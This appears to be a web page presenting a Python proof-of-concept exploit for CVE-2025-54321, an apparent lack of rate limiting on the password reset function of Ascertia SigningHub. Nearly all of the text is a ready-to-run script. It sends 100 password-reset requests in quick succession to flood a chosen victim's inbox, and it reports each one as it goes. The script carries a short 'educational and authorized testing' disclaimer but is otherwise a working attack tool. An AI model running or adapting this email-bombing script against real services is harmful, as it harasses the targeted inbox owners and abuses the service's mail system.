CVE-2025-54321 | Ascertia SigningHub 密码重置功能缺乏速率限制导致邮箱炸弹攻击

#!/usr/bin/env python3 """ CVE-2025-54321 PoC - Ascertia SigningHub Email Bombing via Password Reset This PoC demonstrates the lack of rate limiting on the password reset function. Note: This is for educational and authorized testing purposes only. """ import requests import time import sys # Target configuration TARGET_URL = "https://target-ascertia-signinghub.com" RESET_ENDPOINT = f"{TARGET_URL}/api/password/reset" # Target email for email bombing attack TARGET_EMAIL = "[email protected]" # Number of requests to send (for demonstration purposes) NUM_REQUESTS = 100 DELAY_BETWEEN_REQUESTS = 0.1 # seconds def send_password_reset_request(email): """Send a password reset request to the target system.""" try: payload = { "email": email, "_token": "" # May need valid CSRF token } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/json", "Accept": "application/json" } response = requests.post(RESET_ENDPOINT, json=payload, headers=headers, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def exploit_email_bombing(): """ Exploit function to demonstrate the email bombing vulnerability. This sends multiple password reset requests to flood the target's inbox. """ print(f"[*] Starting email bombing attack on {TARGET_EMAIL}") print(f"[*] Target endpoint: {RESET_ENDPOINT}") print(f"[*] Number of requests: {NUM_REQUESTS}") print("-" * 50) success_count = 0 for i in range(NUM_REQUESTS): status_code, response = send_password_reset_request(TARGET_EMAIL) if status_code and 200 <= status_code < 300: success_count += 1 print(f"[+] Request {i+1}/{NUM_REQUESTS}: Status {status_code} - Reset email sent") else: print(f"[-] Request {i+1}/{NUM_REQUESTS}: Failed - Status {status_code}") if i < NUM_REQUESTS - 1: time.sleep(DELAY_BETWEEN_REQUESTS) print("-" * 50) print(f"[*] Attack completed: {success_count}/{NUM_REQUESTS} successful requests") print(f"[*] Target email should have received {success_count} password reset emails") if __name__ == "__main__": print("CVE-2025-54321 - Ascertia SigningHub Email Bombing PoC") print("=" * 50) exploit_email_bombing()